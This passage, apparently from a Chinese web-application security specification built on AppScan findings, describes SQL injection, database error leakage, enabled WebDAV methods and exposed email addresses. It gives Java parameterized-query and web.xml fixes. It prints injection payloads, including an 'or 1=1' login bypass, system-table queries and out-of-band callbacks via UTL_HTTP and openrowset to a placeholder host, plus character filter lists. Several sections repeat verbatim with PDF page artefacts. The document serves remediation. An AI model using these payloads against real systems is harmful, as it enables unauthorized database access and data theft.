String sql = "SELECT * FROM tb_oa_files where id=:id "; List<FileInfo> files = new java.util.ArrayList<FileInfo>(); Map<String, String> parameters = new HashMap<String, String>(); parameters.put("id", id); 这种在查询时传入的是 Map(key、value 的键值对) ,key 的值必需与绑定变量 的名称一致,查询如下

getSimpleJdbcTemplate().query(sql, parameters); tb_oa_files_map, SQL 查询条件中带 In 条件的变量绑定方法

如 这 种

select dsname from tb_da_datasource where dsid in ('111','222') 首先我们确定从前台传过来的 ID 必需是不带单引号括起来的,如上面这种,传过 来用逗号分开应该是

111,222 这种形式, 在进行变量绑定拼接 SQL 时进行如下操作

StringBuffer sql = new StringBuffer(“select dsname from tb_da_datasource where dsid in (”); String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“?”); 28 安全规范 } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), map, idAry); 如果查询的变量不止这些 ID 还有其它的值,可通过下面方式

List<String> args = new ArrayList<String>(); if(!"".equals(dsname)){ sql.append(" and dsname like ?"); args.add("%"+dsname+"%"); //这种方式是用来进行模糊匹配的 } String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“?”); args.add(idAry[i]); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), args.toArray()); 重新初始化一个 ArrayList(此种 List 是顺序存储结构,此止必需是顺序存储 结构) ,将数组的字增加到 List,再通过 toArray 转成数组。

SQL 查询条件中带 In 条件的命名参数的变量绑定。

命名参数就是通过冒号+变量名 的形式进行绑定,在传入参数时是一个 key、value 的键值对,key 必需与变量名保持 一致,value 就是对应输入的值。

Map<String, String> parameters = new HashMap<String, String>(); StringBuffer sql = new StringBuffer(“select dsname from map, tb_da_datasource where dsid in (”); String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“:dsid”).append(i); parameters.put(“dsid”+i, idAry[i]); } 29 安全规范 sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), parameters); 1.3.10 SQL 注入 map, (一) URL http://10.149.113.200/loginAction.do (二) 安全问题描述 可能会查看、修改或删除数据库条目和表 (三) 攻击方法 Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上 的标准语 言是 SQL(各大数据库供应商都有自己的不同版本) 。Web 应用程序通常会获取用 户输入 (取自 HTTP 请求) ,将它并入 SQL 查询中,然后发送到后端数据库。接着应用程 序便处理 查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作 方式。在此 情况下,攻击者可以注入恶意的数据,当该数据并入 SQL 查询中时,就将查询的 原始语法更 改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用 户帐户的数 据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密 码部分) , 查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据 库服务器上 运行 Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习 SQL 查询的结构,然后使用 该知识来阻 挠查询(通过注入更改查询语法的数据) ,使执行的查询不同于预期。假设相关查 询是

SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass' 30 安全规范 其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的 HTTP 请求收集而 来-可能是来自 GET 请求查询参数,也可能是来自 POST 请求主体参数) 。此查询的一般用法,其 值为 $user=john、$password=secret123。形成的查询如下:SELECT COUNT(*) FROM accounts WHERE username='john' AND password='secret123' 如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在 (也就是数 据库中有名称为“john”的用户,且其密码为“secret123”,结果便是>0。这 ) 是应用程序的基本 认证机制。但攻击者可以用下列方式来更改此查询

1. 攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中 通常包含关 于 SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密 码中包含任何 值 (如 foobar) 结果便是下列 。

(格式错误) SQL 查询

的 SELECT COUNT(*) FROM accounts WHERE username=''' AND password='foobar' 这可能会产生以下错误消息(取决于后端所使用的特定数据库) :查询表达式 'username = ''' AND password = 'foobar'' 中发生语法错误(遗漏运算符) 。

2012-7-4 16:57:29 71/187 这 时 攻 击 者 便 得 知 查 询 是 根 据 表 达 式 username='$user' password='$pass' 来构建的。利用 手边的 SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使 用

user = ' or 1=1 or ''=' password = foobar 生成的查询如下

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar' 这表示查询 (在 SQL 数据库中) “accounts” 对于 表的每项记录都会返回 TRUE, 因为 1=1 表达 31 AND 安全规范 式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者) 也会被视为有 效。这个探测方法有若干变体,例如,发送 '; or \'(您应该记住,几乎所有供 应商都有他们自 己唯一的 SQL“版本” 。具体地说,发送 ' having 1=1,也会生成错误消息,此 消息会泄露有关列 名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住) , 而是并入数 字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串 1 having 1=1。

2. 在某些情况下, 有可能将原始查询替换为其他查询。

提早终止原始查询 (例如

使用单引号 来结束字符串上下文, 用分号之类的查询分隔符来强制终止, 然后撰写新的查询) , 便可以做 到这一点。如果应用程序够灵活,可以从已修改的查询中接收(及显示)数据(虽 然不完全符 合预期的数据) ,那么就可以使用这项技术来下载各种数据库表和记录。

即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来,它 仍可能在数 据库上运行恶意查询(例如:更改表、删除表,以及运行 Shell 命令) 。

最后,在某些情况下,按一定方式设计恶意查询,使所需数据依照应用程序预期的 格式返回, 便可得到所需数据。

下列输入字符串可用来从数据库的系统表中生成敏感信息(这取决于应用程序处理 返回的查询 结果的方式)

'; select @@version,1,1,1-(MS-SQL 数据库-返回数据库版本) '; select * from master..sysmessages (MS-SQL 数据库-返回系统信息) '; select * from dbo.sysdatabases (MS-SQL 数据库-返回数据库服务器所管理的数据库名称) '; select * from sys.dba_users 32 安全规范 (Oracle 数据库-返回数据库用户名) 由此可见,如果用户输入未经清理(也就是确保字符串数据不含 ' 或 " -这些字 符必须编码/转 义,且必须确保数字/布尔型或其他类型化数据的格式适当) ,攻击者便可以使用这 个情况来 操纵数据库。

在 Oracle 测试变体中,由强制 Oracle 数据库利用 UTL_HTTP 程序包建立从 Oracle 服务器返回 测试机器的 HTTP 连接来验证 SQL 注入。

发 送 的 注 入 有 效 内 容 是

' || UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation ') || ' 假 设 原 始 SQL 查 询 是

SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass',在 SQL 注入测试期间实际的 SQL 查询是

SELECT COUNT(*) FROM accounts WHERE username='' || UTL_HTTP.REQUEST ('http://IP_Address:80/SQL_Injection_Validation') || '' AND password='$pass' 当运行此 SQL 查询时,Oracle 服务器会执行 UTL_HTTP.REQUEST 入口点,这 个入口点会联系 测试机器,通过 HTTP 来请求 '/SQL_Injection_Validation' 文件。

注意:为了能够适当验证这项测试,在 Oracle 服务器和测试机器之间,必须能够 建立直接的 TCP 连接。在 MS SQL 端口侦听器测试变体中,也使用类似的方法。

发送的注入有效内容是

'; select * from openrowset ('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=m yUsr;pwd=myPass','select foo from bar')-假 设 原 始 SQL 查 询 是

SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass',在 SQL 注入期间,实际的 SQL 查询是

SELECT COUNT(*) FROM accounts WHERE username=''; select * from 33 安全规范 openrowset 2012-7-4 16:57:29 72/187 ('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid =myUsr;pwd=myPass','select foo from bar')–' AND password='$pass' 当 运 行 这 个 SQL 查 询 时 , MS SQL 服 务 器 会 在 9999 端 口 上 建 立 指 向 [IP_Address] 的连接,这 是 openrowset() 的执行结果。

注意:为了能够适当验证这项测试,在 MS SQL 服务器和测试机器之间,必须能够 建立直接的 TCP 连接。

(四) 安全规范要求 通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划 外的任务, 例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种 操作系统命令, 等等。

建议过滤出所有以下字符

[1] |(竖线符号) [2] &(&符号) [3];(分号) [4] $(美元符号) [5] %(百分比符号) [6] @(at 符号) [7] '(单引号) [8] "(引号) [9] \'(反斜杠转义单引号) [10] \"(反斜杠转义引号) [11] <>(尖括号) [12] ()(括号) [13] +(加号) [14] CR(回车符,ASCII 0x0d) [15] LF(换行,ASCII 0x0a) [16] ,(逗号) 34 安全规范 [17] \(反斜杠) 以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符

SQL 注入和 SQL 盲注

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储 过程时,请利 用 ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) 跨站点脚本编制

A. 清理用户输入,并过滤出 JavaScript 代码。我们建议您过滤下列字符

[1] <>(尖括号) [2] "(引号) [3] '(单引号) [4] %(百分比符号) [5] ;(分号) [6] ()(括号) [7] &(&符号) 2012-7-4 16:57:29 73/187 [8] +(加号) B. 如果要修订<%00script>变体,请参阅 MS 文章 821349 C. 对于 UTF-7 攻击

[-] 可能的话,建议您施行特定字符集编码(使用 'Content-Type' 头或 <meta>标记) 。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在 HTTP 响应中的输入) 。

请确保输入未包含恶意的字符,例如

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统 35 安全规范 命令有意义的符 号,例如

[1] |(竖线符号) [2] &(&符号) [3];(分号) 执行 shell 命令

A. 绝不将未检查的用户输入传递给 eval()、open()、sysopen()、system() 之类的 Perl 命令。

B. 确保输入未包含恶意的字符,例如

[1] $(美元符号) [2] %(百分比符号) [3] @(at 符号) XPath 注入:清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号)等 LDAP 注入

A. 使用正面验证。字母数字过滤(A..Z,a..z,0..9)适合大部分 LDAP 查询。

B. 应该过滤出或进行转义的特殊 LDAP 字符

[1] 在字符串开头的空格或“#”字符 [2] 在字符串结尾的空格字符 [3] ,(逗号) [4] +(加号) [5] "(引号) [6] \(反斜杠) [7] <>(尖括号) [8] ;(分号) [9] ()(括号) MX 注入

应该过滤出特殊 MX 字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)记录伪造

应该过滤出特殊记录字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a) 36 安全规范 [3] BS(退格,ASCII 0x08) ORM 注入

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询 API D. 清理输入以排除上下文更改符号,例如

(*)

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) 2012-7-4 16:57:29 74/187 (*) 这适用于 SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案 非模糊匹配的很好改,将以前拼接的形式找成“?”号,如果是动态拼接,无法确 定数量的,如通过如下形式

List<String> args = new ArrayList<String>(); if(!"".equals(order.getOrdertitle())){ sql.append(" and a.ordertitle like ?"); args.add("%"+order.getOrdertitle()+"%"); //这种方式是用来进行模 糊匹配的 } if(!"".equals(order.getDbuser())){ sql.append(" and a.dbuser = ?"); args.add(order.getDbuser()); } if(!"".equals(order.getEffdate())){ sql.append(" and a.effdate >= to_date(?,'yyyy-mm-dd')");//日 期格式 args.add(order.getEffdate()); } 37 安全规范 if(!"".equals(order.getExpdate())){ sql.append(" and a.expdate <= to_date(?,'yyyy-mm-dd')"); args.add(order.getExpdate()); } 拼接后查询如下

String sqlexec = pages.wrapSqlTotal(sql.toString(), getSimpleJdbcTemplate(), args.toArray()); 还有一种命名参数变量绑定的形式

String sql = "SELECT * FROM tb_oa_files where id=:id "; List<FileInfo> files = new java.util.ArrayList<FileInfo>(); Map<String, String> parameters = new HashMap<String, String>(); parameters.put("id", id); 这种在查询时传入的是 Map(key、value 的键值对) ,key 的值必需与绑定变量 的名称一致,查询如下

getSimpleJdbcTemplate().query(sql, parameters); tb_oa_files_map, SQL 查询条件中带 In 条件的变量绑定方法

如 这 种

select dsname from tb_da_datasource where dsid in ('111','222') 首先我们确定从前台传过来的 ID 必需是不带单引号括起来的,如上面这种,传过 来用逗号分开应该是

111,222 这种形式, 在进行变量绑定拼接 SQL 时进行如下操作

StringBuffer sql = new StringBuffer(“select dsname from tb_da_datasource where dsid in (”); String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“?”); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), map, idAry); 如果查询的变量不止这些 ID 还有其它的值,可通过下面方式: 38 安全规范 List<String> args = new ArrayList<String>(); if(!"".equals(dsname)){ sql.append(" and dsname like ?"); args.add("%"+dsname+"%"); //这种方式是用来进行模糊匹配的 } String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“?”); args.add(idAry[i]); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), args.toArray()); 重新初始化一个 ArrayList(此种 List 是顺序存储结构,此止必需是顺序存储 结构) ,将数组的字增加到 List,再通过 toArray 转成数组。

SQL 查询条件中带 In 条件的命名参数的变量绑定。

命名参数就是通过冒号+变量名 的形式进行绑定,在传入参数时是一个 key、value 的键值对,key 必需与变量名保持 一致,value 就是对应输入的值。

Map<String, String> parameters = new HashMap<String, String>(); StringBuffer sql = new StringBuffer(“select dsname from map, tb_da_datasource where dsid in (”); String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“:dsid”).append(i); parameters.put(“dsid”+i, idAry[i]); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), parameters); map, 39 安全规范 1.3.11 发现数据库错误模式 (一) URL http://10.149.113.200/loginAction.do (二) 安全问题描述 可能会查看、修改或删除数据库条目和表 (三) 攻击方法 Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上 的标准语 言是 SQL(各大数据库供应商都有自己的不同版本) 。Web 应用程序通常会获取用 户输入 (取自 HTTP 请求) ,将它并入 SQL 查询中,然后发送到后端数据库。接着应用程 序便处理 查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作 方式。在此 情况下,攻击者可以注入恶意的数据,当该数据并入 SQL 查询中时,就将查询的 原始语法更 改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用 户帐户的数 据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密 码部分) , 查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据 库服务器上 运行 Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习 SQL 查询的结构,然后使用 该知识来阻 挠查询(通过注入更改查询语法的数据) ,使执行的查询不同于预期。假设相关查 询是

SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass' 其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的 HTTP 请求收集而 来-可能是来自 GET 请求查询参数,也可能是来自 POST 请求主体参数) 。此查询的一般用法,其 40 安全规范 值为 $user=john、$password=secret123。形成的查询如下:SELECT COUNT(*) FROM accounts WHERE username='john' AND password='secret123' 如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在 (也就是数 据库中有名称为“john”的用户,且其密码为“secret123”,结果便是>0。这 ) 是应用程序的基本 认证机制。但攻击者可以用下列方式来更改此查询

1. 攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中 通常包含关 于 SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密 码中包含任何 值 (如 foobar) 结果便是下列 。

(格式错误) SQL 查询

的 SELECT COUNT(*) FROM accounts WHERE username=''' AND password='foobar' 这可能会产生以下错误消息(取决于后端所使用的特定数据库) :查询表达式 'username = ''' AND password = 'foobar'' 中发生语法错误(遗漏运算符) 。

2012-7-4 16:57:29 71/187 这 时 攻 击 者 便 得 知 查 询 是 根 据 表 达 式 username='$user' password='$pass' 来构建的。利用 手边的 SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使 用

user = ' or 1=1 or ''=' password = foobar 生成的查询如下

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar' 这表示查询 (在 SQL 数据库中) “accounts” 对于 表的每项记录都会返回 TRUE, 因为 1=1 表达 式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者) 也会被视为有 效。这个探测方法有若干变体,例如,发送 '; or \'(您应该记住,几乎所有供 41 AND 安全规范 应商都有他们自 己唯一的 SQL“版本” 。具体地说,发送 ' having 1=1,也会生成错误消息,此 消息会泄露有关列 名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住) , 而是并入数 字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串 1 having 1=1。

2. 在某些情况下, 有可能将原始查询替换为其他查询。

提早终止原始查询 (例如

使用单引号 来结束字符串上下文, 用分号之类的查询分隔符来强制终止, 然后撰写新的查询) , 便可以做 到这一点。如果应用程序够灵活,可以从已修改的查询中接收(及显示)数据(虽 然不完全符 合预期的数据) ,那么就可以使用这项技术来下载各种数据库表和记录。

即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来,它 仍可能在数 据库上运行恶意查询(例如:更改表、删除表,以及运行 Shell 命令) 。

最后,在某些情况下,按一定方式设计恶意查询,使所需数据依照应用程序预期的 格式返回, 便可得到所需数据。

下列输入字符串可用来从数据库的系统表中生成敏感信息(这取决于应用程序处理 返回的查询 结果的方式)

'; select @@version,1,1,1-(MS-SQL 数据库-返回数据库版本) '; select * from master..sysmessages (MS-SQL 数据库-返回系统信息) '; select * from dbo.sysdatabases (MS-SQL 数据库-返回数据库服务器所管理的数据库名称) '; select * from sys.dba_users (Oracle 数据库-返回数据库用户名) 由此可见,如果用户输入未经清理(也就是确保字符串数据不含 ' 或 " -这些字 符必须编码/转 42 安全规范 义,且必须确保数字/布尔型或其他类型化数据的格式适当) ,攻击者便可以使用这 个情况来 操纵数据库。

在 Oracle 测试变体中,由强制 Oracle 数据库利用 UTL_HTTP 程序包建立从 Oracle 服务器返回 测试机器的 HTTP 连接来验证 SQL 注入。

发 送 的 注 入 有 效 内 容 是

' || UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation ') || ' 假 设 原 始 SQL 查 询 是

SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass',在 SQL 注入测试期间实际的 SQL 查询是

SELECT COUNT(*) FROM accounts WHERE username='' || UTL_HTTP.REQUEST ('http://IP_Address:80/SQL_Injection_Validation') || '' AND password='$pass' 当运行此 SQL 查询时,Oracle 服务器会执行 UTL_HTTP.REQUEST 入口点,这 个入口点会联系 测试机器,通过 HTTP 来请求 '/SQL_Injection_Validation' 文件。

注意:为了能够适当验证这项测试,在 Oracle 服务器和测试机器之间,必须能够 建立直接的 TCP 连接。在 MS SQL 端口侦听器测试变体中,也使用类似的方法。

发送的注入有效内容是

'; select * from openrowset ('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=m yUsr;pwd=myPass','select foo from bar')-假 设 原 始 SQL 查 询 是

SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass',在 SQL 注入期间,实际的 SQL 查询是

SELECT COUNT(*) FROM accounts WHERE username=''; select * from openrowset 2012-7-4 16:57:29 72/187 ('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid 43 安全规范 =myUsr;pwd=myPass','select foo from bar')–' AND password='$pass' 当 运 行 这 个 SQL 查 询 时 , MS SQL 服 务 器 会 在 9999 端 口 上 建 立 指 向 [IP_Address] 的连接,这 是 openrowset() 的执行结果。

注意:为了能够适当验证这项测试,在 MS SQL 服务器和测试机器之间,必须能够 建立直接的 TCP 连接。

(四) 安全规范要求 通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划 外的任务, 例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种 操作系统命令, 等等。

建议过滤出所有以下字符

[1] |(竖线符号) [2] &(&符号) [3];(分号) [4] $(美元符号) [5] %(百分比符号) [6] @(at 符号) [7] '(单引号) [8] "(引号) [9] \'(反斜杠转义单引号) [10] \"(反斜杠转义引号) [11] <>(尖括号) [12] ()(括号) [13] +(加号) [14] CR(回车符,ASCII 0x0d) [15] LF(换行,ASCII 0x0a) [16] ,(逗号) [17] \(反斜杠) 以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符

SQL 注入和 SQL 盲注: 44 安全规范 A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储 过程时,请利 用 ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) 跨站点脚本编制

A. 清理用户输入,并过滤出 JavaScript 代码。我们建议您过滤下列字符

[1] <>(尖括号) [2] "(引号) [3] '(单引号) [4] %(百分比符号) [5] ;(分号) [6] ()(括号) [7] &(&符号) 2012-7-4 16:57:29 73/187 [8] +(加号) B. 如果要修订<%00script>变体,请参阅 MS 文章 821349 C. 对于 UTF-7 攻击

[-] 可能的话,建议您施行特定字符集编码(使用 'Content-Type' 头或 <meta>标记) 。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在 HTTP 响应中的输入) 。

请确保输入未包含恶意的字符,例如

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统 命令有意义的符 号,例如

[1] |(竖线符号) 45 安全规范 [2] &(&符号) [3];(分号) 执行 shell 命令

A. 绝不将未检查的用户输入传递给 eval()、open()、sysopen()、system() 之类的 Perl 命令。

B. 确保输入未包含恶意的字符,例如

[1] $(美元符号) [2] %(百分比符号) [3] @(at 符号) XPath 注入:清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号)等 LDAP 注入

A. 使用正面验证。字母数字过滤(A..Z,a..z,0..9)适合大部分 LDAP 查询。

B. 应该过滤出或进行转义的特殊 LDAP 字符

[1] 在字符串开头的空格或“#”字符 [2] 在字符串结尾的空格字符 [3] ,(逗号) [4] +(加号) [5] "(引号) [6] \(反斜杠) [7] <>(尖括号) [8] ;(分号) [9] ()(括号) MX 注入

应该过滤出特殊 MX 字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)记录伪造

应该过滤出特殊记录字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a) [3] BS(退格,ASCII 0x08) ORM 注入

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 46 安全规范 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询 API D. 清理输入以排除上下文更改符号,例如

(*)

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) 2012-7-4 16:57:29 74/187 (*) 这适用于 SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案 非模糊匹配的很好改,将以前拼接的形式找成“?”号,如果是动态拼接,无法确 定数量的,如通过如下形式

List<String> args = new ArrayList<String>(); if(!"".equals(order.getOrdertitle())){ sql.append(" and a.ordertitle like ?"); args.add("%"+order.getOrdertitle()+"%"); //这种方式是用来进行模 糊匹配的 } if(!"".equals(order.getDbuser())){ sql.append(" and a.dbuser = ?"); args.add(order.getDbuser()); } if(!"".equals(order.getEffdate())){ sql.append(" and a.effdate >= to_date(?,'yyyy-mm-dd')");//日 期格式 args.add(order.getEffdate()); } if(!"".equals(order.getExpdate())){ sql.append(" and a.expdate <= to_date(?,'yyyy-mm-dd')"); args.add(order.getExpdate()); 47 安全规范 } 拼接后查询如下

String sqlexec = pages.wrapSqlTotal(sql.toString(), getSimpleJdbcTemplate(), args.toArray()); 还有一种命名参数变量绑定的形式

String sql = "SELECT * FROM tb_oa_files where id=:id "; List<FileInfo> files = new java.util.ArrayList<FileInfo>(); Map<String, String> parameters = new HashMap<String, String>(); parameters.put("id", id); 这种在查询时传入的是 Map(key、value 的键值对) ,key 的值必需与绑定变量 的名称一致,查询如下

getSimpleJdbcTemplate().query(sql, parameters); tb_oa_files_map, SQL 查询条件中带 In 条件的变量绑定方法

如 这 种

select dsname from tb_da_datasource where dsid in ('111','222') 首先我们确定从前台传过来的 ID 必需是不带单引号括起来的,如上面这种,传过 来用逗号分开应该是

111,222 这种形式, 在进行变量绑定拼接 SQL 时进行如下操作

StringBuffer sql = new StringBuffer(“select dsname from tb_da_datasource where dsid in (”); String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“?”); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), map, idAry); 如果查询的变量不止这些 ID 还有其它的值,可通过下面方式

List<String> args = new ArrayList<String>(); if(!"".equals(dsname)){ sql.append(" and dsname like ?"); 48 安全规范 args.add("%"+dsname+"%"); //这种方式是用来进行模糊匹配的 } String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“?”); args.add(idAry[i]); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), args.toArray()); 重新初始化一个 ArrayList(此种 List 是顺序存储结构,此止必需是顺序存储 结构) ,将数组的字增加到 List,再通过 toArray 转成数组。

SQL 查询条件中带 In 条件的命名参数的变量绑定。

命名参数就是通过冒号+变量名 的形式进行绑定,在传入参数时是一个 key、value 的键值对,key 必需与变量名保持 一致,value 就是对应输入的值。

Map<String, String> parameters = new HashMap<String, String>(); StringBuffer sql = new StringBuffer(“select dsname from map, tb_da_datasource where dsid in (”); String[] idAry = ids.split(“,”); for(int i = 0; i < idAry.length; i++){ if(i != 0) sql.append(“,”); sql.append(“:dsid”).append(i); parameters.put(“dsid”+i, idAry[i]); } sql.append(“)”); getSimpleJdbcTemplate().query(sql.toString(), parameters); map, 1.3.12 启用了不安全的 HTTP 方法 (一) URL 49 安全规范 http://10.149.113.200/base/commons/ http://10.149.113.200/localmng/frames/ http://10.149.113.200/base/commons/widgets/scripts/ http://10.149.113.200/base/commons/scripts/treeview/ http://10.149.113.200/base/commons/scripts/jmpopups/ http://10.149.113.200/base/commons/scripts/hightcharts/ http://10.149.113.200/base/commons/scripts/calendar/ http://10.149.113.200/base/commons/widgets/ http://10.149.113.200/base/commons/scripts/ http://10.149.113.200/base/commons/ (二) 安全问题描述 可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件 (三) 攻击方法 似乎 Web 服务器配置成允许下列其中一个(或多个)HTTP 方法(动词)

– DELETE – SEARCH – COPY – MOVE – PROPFIND – PROPPATCH – MKCOL – LOCK – UNLOCK – PUT 这些方法可能表示在服务器上启用了 WebDAV,可能允许未授权的用户对其进行利 用。

(四) 安全规范要求 如果服务器不需要支持 WebDAV,请务必禁用它,或禁止不必要的 HTTP 方法(动 词) 。

(五) 解决方案 修改 web.xml,增加如下配置 <login-config> <!– Authorization setting for SSL –> <auth-method>CLIENT-CERT</auth-method> 50 安全规范 <realm-name>Client Cert Users-only Area</realm-name> <auth-method>BASIC</auth-method> </login-config> <security-constraint> <!– Authorization setting for SSL –> <web-resource-collection> <web-resource-name>SSL</web-resource-name> <url-pattern>/oa/login.jsp</url-pattern> </web-resource-collection> <user-data-constraint> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint> <!–禁止不安全的 http 方法 –> <security-constraint> <web-resource-collection> <web-resource-name>fortune</web-resource-name> <url-pattern>/*</url-pattern> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>HEAD</http-method> <http-method>OPTIONS</http-method> <http-method>TRACE</http-method> </web-resource-collection> <auth-constraint></auth-constraint> </security-constraint> 1.3.13 发现电子邮件地址模式 (一) URL http://10.149.113.200/base/commons/scripts/treeview/jque ry.tree.js 51 安全规范 http://10.153.152.55:8088/report/base/commons/scripts/ca lendar/calendar.js http://10.153.152.55:8088/report/base/commons/scripts/ca lendar/WdatePicker.js jQuery.easyui.min.js jquery.cookie.js jquery.tablesorter.js jquery.tree.js (二) 安全问题描述 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文 件位置 (三) 攻击方法 Spambot 搜寻因特网站点, 开始查找电子邮件地址来构建发送自发电子邮件 (垃 圾邮件)的邮件列表。

AppScan 检测到含有一或多个电子邮件地址的响应, 可供利用以发送垃圾邮件。

而且,找到的电子邮件地址也可能是专用电子邮件地址,对于一般大众应是不可访问 的。

(四) 安全规范要求 从 Web 站点中除去任何电子邮件地址,使恶意的用户无从利用。

